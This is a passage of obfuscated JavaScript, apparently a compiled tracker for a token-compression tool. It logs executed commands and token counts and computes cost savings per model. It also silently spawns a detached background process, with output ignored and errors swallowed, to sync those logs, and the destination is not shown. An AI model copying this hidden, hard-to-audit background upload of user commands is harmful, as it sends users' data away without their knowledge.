Date()[_0x2cfe9a(0x7b)](),'command':_0x2aa0ad,'raw_chars':_0x58eec2,'compressed_chars':_0x738f0a,'estimated_raw_tokens':_0x51b7d7,'estimated_compressed_tokens':_0x2e0063,'tokens_saved':_0xa47a85,'model_used':_0x3845e3,'exit_code':_0x28f2f9,'synced':![],'ai_detected':!!_0x239335[_0x2cfe9a(0xa2)]};_0x31011e[_0x2cfe9a(0xb4)](_0x5531e3),this['saveLogs'](_0x31011e);const _0xa9b448=this[_0x2cfe9a(0xed)]()[_0x2cfe9a(0xb5)];return _0xa9b448&&_0xa9b448['trim']()['length']>0x0&&this['triggerBackgroundSync'](),_0x5531e3;}[a0_0x51a00c(0xd1)](){const _0xa90a8f=a0_0x51a00c;try{const _0x531307=path[_0xa90a8f(0xf2)](__dirname,_0xa90a8f(0x79));if(fs[_0xa90a8f(0xe3)](_0x531307)){const _0x492d00=(0x0,child_process_1[_0xa90a8f(0xaf)])(process['execPath'],[_0x531307],{'detached':!![],'stdio':'ignore'});_0x492d00[_0xa90a8f(0xc6)]();}}catch{}}['getStatsSummary'](_0xc99b4a=a0_0x51a00c(0x93)){const _0x152dcf=a0_0x51a00c,_0x21cdd3=this['getLogs']();let _0x52cce6=0x0,_0x195a4a=0x0,_0x4966bd=0x0;for(const _0x19f8d9 of _0x21cdd3){_0x52cce6+=_0x19f8d9[_0x152dcf(0xe4)],_0x195a4a+=_0x19f8d9[_0x152dcf(0x98)],_0x4966bd+=_0x19f8d9[_0x152dcf(0xd7)];}let _0x40967=_0xc99b4a;(!_0x40967||_0x40967===_0x152dcf(0x93)||!exports['PRICING'][_0x40967])&&(_0x21cdd3[_0x152dcf(0x9a)]>0x0&&_0x21cdd3[_0x21cdd3[_0x152dcf(0x9a)]-0x1]['model_used']?_0x40967=_0x21cdd3[_0x21cdd3['length']-0x1][_0x152dcf(0xd8)]:_0x40967=this[_0x152dcf(0xed)]()[_0x152dcf(0xae)]||_0x152dcf(0x82));const _0x572c97=exports[_0x152dcf(0xc9)][_0x40967]||exports[_0x152dcf(0xc9)][_0x152dcf(0x82)],_0x21302d=_0x4966bd*_0x572c97[_0x152dcf(0x9c)]/0xf4240,_0x7e314=_0x52cce6*_0x572c97['input_price_1m']/0xf4240,_0x48075d=_0x195a4a*_0x572c97[_0x152dcf(0x9c)]/0xf4240,_0x5392dc=_0x52cce6>0x0?_0x4966bd/_0x52cce6*0x64:0x0;return{'total_raw_tokens':_0x52cce6,'total_compressed_tokens':_0x195a4a,'total_tokens_saved':_0x4966bd,'savings_percentage':parseFloat(_0x5392dc[_0x152dcf(0x6d)](0x1)),'money_saved_usd':parseFloat(_0x21302d['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x7e314['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x48075d['toFixed'](0x4)),'model_name':_0x572c97[_0x152dcf(0x90)],'model_key':_0x40967};}}exports[a0_0x51a00c(0x76)]=Tracker,exports[a0_0x51a00c(0x77)]=new Tracker();
|